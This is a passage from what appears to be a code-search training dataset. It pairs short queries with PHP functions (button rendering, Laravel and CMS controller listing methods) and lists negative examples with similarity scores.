\"close_div\",\n 'nodescription' => true,\n ],\n [\n \"type\" => \"close_div\",\n 'nodescription' => true,\n ],\n\n ];\n\n }", "function worker_inventory()\n {\n ?> \n <p> Worker Webpage </p>\n\t\t<button type=\"button\"> Add Item </button>\n\t\t<button type=\"button\"> Remove Item </button>\n\t\t<button type=\"button\"> Request Item </button>\n\t\t<p> Inventory </p>\n <?php\n }", "function report_add_tinymce_button($buttons) {\n\n\tglobal $pagenow, $typenow;\n\n\t// Dodaj button do tinymce tylko podczas edytowania lekcji\n\tif ( in_array( $pagenow, array( 'post.php' ) ) && $typenow == 'lesson' ) {\n\n\t//Add the button ID to the $button array\n\t\tarray_push( $buttons, 'report_button');\n\t\treturn $buttons;\n\t}\n}", "public function registerActions() {\n $this->addAction('wp_footer', array('Chayka\\\\LinkedIn\\\\HtmlHelper', 'renderJsInit'));\n \t/* chayka: registerActions */\n }", "public function get_export_button() {\n\n\t\t$this->output_export_button();\n\t}", "public function get_export_button() {\n\n\t\t$this->output_export_button();\n\t}", "private function setButtons()\n {\n $this->createFolderButton = config('godesk.filemanager.buttons.create_folder', true);\n $this->uploadButton = config('godesk.filemanager.buttons.upload_button', true);\n $this->dragAndDropUpload = config('godesk.filemanager.buttons.upload_drag', true);\n $this->renameFolderButton = config('godesk.filemanager.buttons.rename_folder', true);\n $this->deleteFolderButton = config('godesk.filemanager.buttons.delete_folder', true);\n $this->renameFileButton = config('godesk.filemanager.buttons.rename_file', true);\n $this->deleteFileButton = config('godesk.filemanager.buttons.delete_file', true);\n $this->downloadFileButton = config('godesk.filemanager.buttons.download_file', true);\n }", "function fgallery_add_button($buttons) {\n $fgallery_button = \" <a href='\" . esc_url( fgallery_get_add_album_url() ) . \"' id='insert_gallery' class='thickbox' \n title='\".__('Insert gallery into post', 'fgallery').\"'>\n <img src='\" . esc_url( fgallery_get_insert_button_url( ) ) . \"' alt='\".__('Insert gallery into post', 'fgallery').\"' /></a>\";\n $buttons .= $fgallery_button;\n return $buttons;\n}", "function buttons($type='',$name='',$value='',$class='',$id='',$attrib='') {\n\t\t$button = '<input type=\"'.$type.'\" name=\"'.$name.'\" class=\"'.$class.'\" value=\"'.$value.'\" id=\"'.$id.'\" '.$attrib.'>';\n\t\techo $button;\n\t}", "function social(){\r\n\t\techo '\r\n\t<!-- AddThis Button BEGIN -->\r\n<div class=\"addthis_toolbox addthis_default_style addthis_32x32_style\">\r\n<a class=\"addthis_button_facebook\"></a>\r\n<a class=\"addthis_button_twitter\"></a>\r\n<a class=\"addthis_button_google_plusone_share\"></a>\r\n</div>\r\n<script type=\"text/javascript\" src=\"//s7.addthis.com/js/300/addthis_widget.js#pubid=undefined\"></script>\r\n<!-- AddThis Button END -->\r\n';\t\r\n}", "public function getButtonsHtml()\n {\n $addButtonData = [\n 'label' => __('Add to Quote'),\n 'class' => 'action-default action-add action-secondary',\n 'disabled' => 'disabled'\n ];\n $addButtonDataAttribute = [\n 'mage-init' => '{\"Magento_NegotiableQuote/quote/actions/submit-form\":{\"formId\":\"sku-form\"}}',\n 'role' => 'add-to-quote'\n ];\n $html = $this->getLayout()->createBlock(\n \\Magento\\Backend\\Block\\Widget\\Button::class\n )->setData(\n $addButtonData\n )->setDataAttribute(\n $addButtonDataAttribute\n )->toHtml();\n\n $cancelButtonData = [\n 'label' => __('Cancel')\n ];\n $cancelButtonDataAttribute = [\n 'mage-init' => '{\"Magento_NegotiableQuote/js/quote/actions/toggle-show\": '\n . '{\"toggleBlockId\": \"order-additional_area\",'\n . ' \"showBlockId\": \"show-sku-form\"}}'\n ];\n $html .= $this->getLayout()->createBlock(\n \\Magento\\Backend\\Block\\Widget\\Button::class\n )->setData(\n $cancelButtonData\n )->setDataAttribute(\n $cancelButtonDataAttribute\n )->toHtml();\n\n return $html;\n }", "function register_shortcodes_buttons( $buttons )\n {\n array_push( $buttons, \"|\", 'zebra_button' );\n return $buttons;\n }", "function register_rich_buttons( $buttons )\n\t{\n\t\tarray_push( $buttons, \"|\", 'nymble_button' );\n\t\treturn $buttons;\n\t}", "function my_register_mce_button( $buttons ) {\n\tarray_push( $buttons, 'my_mce_button' );\n\treturn $buttons;\n}", "function my_register_mce_button( $buttons ) {\n\tarray_push( $buttons, 'my_mce_button' );\n\treturn $buttons;\n}", "public function getButtons() {\n $ret = \"\";\n $curURL = current_url();\n\n $ret .= <<<EOF\n <a href=\"{$curURL}?game_action=roll\">Kasta</a>\n <a href=\"{$curURL}?game_action=save\">Spara</a>\n <a href=\"{$curURL}?game_action=clear\">Starta om</a>\nEOF;\n\n return $ret;\n }", "protected function getButtons()\t{\n\n\t\t$buttons = array(\n\t\t\t'csh' => '',\n\t\t\t'shortcut' => '',\n\t\t\t'save' => ''\n\t\t);\n\t\t\t// CSH\n\t\t$buttons['csh'] = t3lib_BEfunc::cshItem('_MOD_web_func', '', $GLOBALS['BACK_PATH']);\n\n\t\t\t// SAVE button\n\t\t// $buttons['save'] = '<input type=\"image\" class=\"c-inputButton\" name=\"submit\" value=\"Update\"' . t3lib_iconWorks::skinImg($GLOBALS['BACK_PATH'], 'gfx/savedok.gif', '') . ' title=\"' . $GLOBALS['LANG']->sL('LLL:EXT:lang/locallang_core.php:rm.saveDoc', 1) . '\" />';\n\n\n\t\t\t// Shortcut\n\t\tif ($GLOBALS['BE_USER']->mayMakeShortcut())\t{\n\t\t\t$buttons['shortcut'] = $this->doc->makeShortcutIcon('', 'function', $this->MCONF['name']);\n\t\t}\n\n\t\treturn $buttons;\n\t}" ]
[ "0.6805727", "0.6791367", "0.67140615", "0.6464968", "0.62158346", "0.6203956", "0.61998427", "0.61457044", "0.6142951", "0.61039", "0.61014557", "0.60954785", "0.6071498", "0.6068626", "0.6068626", "0.6068626", "0.6068626", "0.60683286", "0.60683286", "0.60683286", "0.60683286", "0.60683286", "0.60667896", "0.60667896", "0.60667896", "0.60667896", "0.60667896", "0.60667896", "0.60667896", "0.60667896", "0.5962411", "0.59552693", "0.5943549", "0.5928101", "0.5900371", "0.58934844", "0.5859946", "0.5854478", "0.5846931", "0.58455217", "0.58455217", "0.58455217", "0.5835074", "0.5792235", "0.5792126", "0.5759882", "0.5753797", "0.5751494", "0.57472676", "0.57352203", "0.573166", "0.5717168", "0.5709678", "0.56955004", "0.5691793", "0.56745666", "0.56665355", "0.5651602", "0.5625658", "0.56228876", "0.56106216", "0.5600377", "0.5589116", "0.55803245", "0.5571169", "0.55578685", "0.55518496", "0.55461293", "0.5544623", "0.5544259", "0.5536454", "0.5527232", "0.5526558", "0.552587", "0.5520736", "0.5516891", "0.55082536", "0.5504838", "0.55036014", "0.5486126", "0.5481782", "0.5476604", "0.5469596", "0.5467959", "0.54674256", "0.5461633", "0.54549724", "0.5453198", "0.5440338", "0.5440338", "0.5437311", "0.54296774", "0.5428446", "0.5420008", "0.5412967", "0.54097694", "0.5402539", "0.54018205", "0.54018205", "0.53985816", "0.53951865" ]
0.0
-1
Display a listing of the resource.
public function __construct() { $this->middleware('adminakses'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}", "public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }", "public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }", "public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }", "public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}", "public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }", "public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }", "public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }", "public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }", "public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }", "public function index()\n {\n return view('admin.resources.index');\n }", "public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}" ]
